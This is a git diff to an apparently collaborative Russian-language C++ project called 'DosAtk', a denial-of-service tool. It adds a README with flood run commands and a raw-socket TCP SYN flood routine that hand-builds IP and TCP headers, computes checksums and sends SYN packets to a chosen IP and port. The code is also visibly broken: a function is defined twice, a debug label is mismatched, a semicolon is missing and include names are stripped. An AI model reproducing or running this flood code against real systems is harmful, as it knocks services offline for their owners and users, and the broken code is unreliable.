diff --git a/.gitignore b/.gitignore index 600d2d3..7451162 100644 --- a/.gitignore +++ b/.gitignore @@ -1 +1,4 @@ -.vscode \ No newline at end of file +.vscode +src/test.cpp +test +DosAtk diff --git a/README.md b/README.md index 7e15699..42b171d 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,9 @@ # Как жить? +Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request. + ``` -git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий +git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!) git checkout -b my_dns # Создаём ветку для реализации модуля my_dns git add * # Добавляем написанный код в комит git commit -m 'Написал код' # Комитим в локальную ветку @@ -9,6 +11,17 @@ git push origin my_dns # Пушим свою ветку в репозитори # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг ``` -Для компиляции: -g++ DosAtk.cpp -lcurl -Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev \ No newline at end of file +# Компиляция + +Для компиляции: `./build.sh`, либо ручками: `g++ DosAtk.cpp -lcurl` +Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: `sudo apt-get install libcurl4-openssl-dev` + +# Запуск + +Пример запуска: + +``` +sudo ./DosAtk -a flood -i 127.0.0.1 -p 800 +``` +Запускается только на Линухе! + diff --git a/src/DosAtk.cpp b/src/DosAtk.cpp index 1e9e7cf..233550f 100644 --- a/src/DosAtk.cpp +++ b/src/DosAtk.cpp @@ -1,14 +1,14 @@ // ====== DCL библиотеки ====== // -#include // Для работы с вводом-выводом (cout, cin и др.) -#include // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.) -#include // Для работы со строками string -#include // Для работы с временем и таймерами -#include // Функции работы со временем C (time_t, localtime и др.) -#include // Для форматированного вывода (setw, setprecision и др.) -#include // Для разбора аргументов командной строки -#include // Функции для работы с символами (isdigit, isalpha и др.) -#include // Библиотека libcurl для HTTP-запросов (отправка в Telegram) +#include // Работа со строками и памятью (memset, memcpy) +#include // POSIX API (close, read, write) +#include // Сокеты (socket, setsockopt, sendto) +#include // Структура IP-заголовка (struct iphdr) +#include // Структура TCP-заголовка (struct tcphdr) +#include // Преобразование IP-адресов (inet_addr, inet_pton) +#include // Определение констант сетевых интерфейсов (IFNAMSIZ) +#include // Управление сокетами и интерфейсами (ioctl) +#include // Флаги файловых дескрипторов (fcntl) // ====== DCL глобальные переменные ====== // @@ -415,13 +415,153 @@ void my_tcp_syn() { // Данная процедура выполняет TCP SYN Flood атаку printf("start my_tcp_syn"); // debug + printf("end my_tcp_syn"); // debug } -void my_udp() -{ - // Данная процедура выполняет UDP Flood (port scanning) атаку +unsigned short checksum(void *data, int len) { + /** + * Рассчитывает контрольную сумму для пакета (алгоритм RFC 1071) + * + * Параметры: + * data - указатель на данные пакета + * len - длина данных в байтах + * + * Возвращает: + * 16-битную инвертированную контрольную сумму + */ + // === Объявление локальных переменных === + uint16_t *ptr; // Указатель для чтения 16-битных слов + unsigned long sum; // Аккумулятор для суммы + uint8_t *byte_ptr; // Указатель для чтения одиночного байта + // === Инициализация переменных === + ptr = (uint16_t *)data; // Инициализируем указатель на данные + sum = 0; // Начальное значение суммы + // === Основная логика процедуры === + // Суммируем 16-битные слова + while (len > 1) { + sum += *ptr++; // Добавляем текущее слово и перемещаем указатель + len -= 2; // Уменьшаем счетчик оставшихся байт + } + if (len == 1) { // Если остался непарный байт, добавляем его в сумму + byte_ptr = (uint8_t *)ptr; + sum += *byte_ptr; + } + sum = (sum >> 16) + (sum & 0xFFFF); // Сворачиваем 32-битную сумму в 16 бит (перенос + остаток) + return (unsigned short)(~sum); // Возвращаем инвертированную 16-битную сумму +} + + +void my_tcp_syn() { + /* + * Отправляет TCP SYN запрос на указанный IP и порт + * status: + * 0 - запрос успешно отправлен (атака продолжается) + * 2 - достигнуто максимальное количество запросов (1000) + * -201 - ошибка создания raw-сокета + * -202 - ошибка отправки SYN-пакета + */ printf("start my_udp"); // debug + + + // === Объявление локальных переменных === + int sock; // Основной raw-сокет для отправки пакетов + int one; // Флаг для setsockopt + + // Структуры для адресов + struct sockaddr_in target_addr; // Адрес цели + + // Параметры подключения + uint16_t target_port = 0; // Порт цели (в сетевом порядке байт) + + // Структуры заголовков + struct iphdr ip_header; // IP-заголовок пакета + struct tcphdr tcp_header; // TCP-заголовок пакета + + // Псевдозаголовок для контрольной суммы + struct { + uint32_t saddr; + uint32_t daddr; + uint8_t zero; + uint8_t protocol; + uint16_t tcp_len; + } pseudo_header; + + // Буферы данных + char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы + char packet[sizeof(iphdr) + sizeof(tcphdr)]; // Итоговый пакет + + // === Инициализация переменных === + sock = -1; + one = 1; + target_port = htons(atoi(port.c_str())); + + // === Основная логика процедуры === + // 1. Создание raw-сокета + if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) { + status = -201; + return; + } + + // 2. Установка опции IP_HDRINCL + setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)); + + // 3. Настройка адреса цели + memset(&target_addr, 0, sizeof(target_addr)); + target_addr.sin_family = AF_INET; + inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0 + + // 4. Формирование IP заголовка + memset(&ip_header, 0, sizeof(ip_header)); + ip_header.ihl = 5; + ip_header.version = 4; + ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr)); + ip_header.ttl = 64; + ip_header.protocol = IPPROTO_TCP; + ip_header.saddr = inet_addr("127.0.0.1"); + ip_header.daddr = inet_addr(ip.c_str()); + + // 5. Формирование TCP заголовка + memset(&tcp_header, 0, sizeof(tcphdr)); + tcp_header.source = htons(12345); + tcp_header.dest = target_port; + tcp_header.seq = htonl(123456); + tcp_header.doff = 5; + tcp_header.syn = 1; + tcp_header.window = htons(5840); + + // 6. Расчет контрольной суммы + pseudo_header = { + .saddr = ip_header.saddr, + .daddr = ip_header.daddr, + .zero = 0, + .protocol = IPPROTO_TCP, + .tcp_len = htons(sizeof(tcphdr)) + }; + memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header)); + memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr)); + tcp_header.check = checksum(temp_buf, sizeof(temp_buf)); + + // 7. Сборка пакета + memcpy(packet, &ip_header, sizeof(iphdr)); + memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr)); + + // 8. Отправка пакета + if (sendto(sock, packet, sizeof(packet), 0, + (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) { + n_fail_requests++; + status = -202; + } else { + n_ok_requests++; + status = 0; + } + + // 9. Проверка завершения + if ((n_ok_requests + n_fail_requests) >= 1000) { + status = 2; + } + + close(sock); printf("end my_udp"); // debug }